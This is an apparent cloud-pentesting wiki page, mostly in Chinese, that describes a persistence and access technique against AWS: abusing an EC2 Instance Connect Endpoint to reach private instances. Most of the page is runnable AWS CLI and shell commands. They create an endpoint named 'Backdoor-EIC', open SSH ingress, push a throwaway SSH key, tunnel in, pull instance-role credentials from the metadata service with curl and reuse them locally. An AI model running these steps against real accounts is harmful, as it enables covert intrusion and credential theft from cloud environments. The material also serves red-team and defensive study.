AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

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滥用 EC2 Instance Connect Endpoint (EIC Endpoint) 来获得对私有 EC2 实例的入站 SSH 访问（无公网 IP/堡垒机），方法：

  • 在目标子网内创建一个 EIC Endpoint
  • 允许来自 EIC Endpoint SG 的入站 SSH 访问目标 SG
  • 使用 ec2-instance-connect:SendSSHPublicKey 注入短期 SSH 公钥（有效约 60 秒）
  • 打开 EIC 隧道并 pivot 到实例，从 IMDS 窃取 instance profile credentials

Impact: 一种隐蔽的远程访问路径，可进入私有 EC2 实例，绕过堡垒机和公网 IP 限制。攻击者可以假冒 instance profile 并在账户中操作。

要求

  • 需要以下权限：
  • ec2:CreateInstanceConnectEndpoint, ec2:Describe*, ec2:AuthorizeSecurityGroupIngress
  • ec2-instance-connect:SendSSHPublicKey, ec2-instance-connect:OpenTunnel
  • 目标 Linux 实例，需运行 SSH 服务并启用 EC2 Instance Connect（Amazon Linux 2 或 Ubuntu 20.04+）。默认用户：ec2-user (AL2) 或 ubuntu (Ubuntu)。

变量

export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user

创建 EIC 端点

aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
--security-group-ids "$ENDPOINT_SG_ID" \
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
--region "$REGION" \
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID

# Wait until ready
while true; do
aws ec2 describe-instance-connect-endpoints \
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
grep -q 'create-complete' EIC_STATE && break
sleep 5
done

允许来自 EIC Endpoint 到目标实例的流量

aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

注入临时 SSH 密钥并打开隧道

# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''

# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "$OS_USER" \
--ssh-public-key file:///tmp/eic.pub \
--region "$REGION"

# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
--instance-id "$INSTANCE_ID" \
--instance-connect-endpoint-id "$(cat EIC_ID)" \
--local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2

# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no

Post-exploitation 证明 (steal instance profile credentials)

# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)

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{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "w0G...",
"Token": "IQoJ...",
"Expiration": "2025-10-08T04:09:52Z"
}

在本地使用被窃取的 creds 来验证身份：

export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>

清理

# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"

注意

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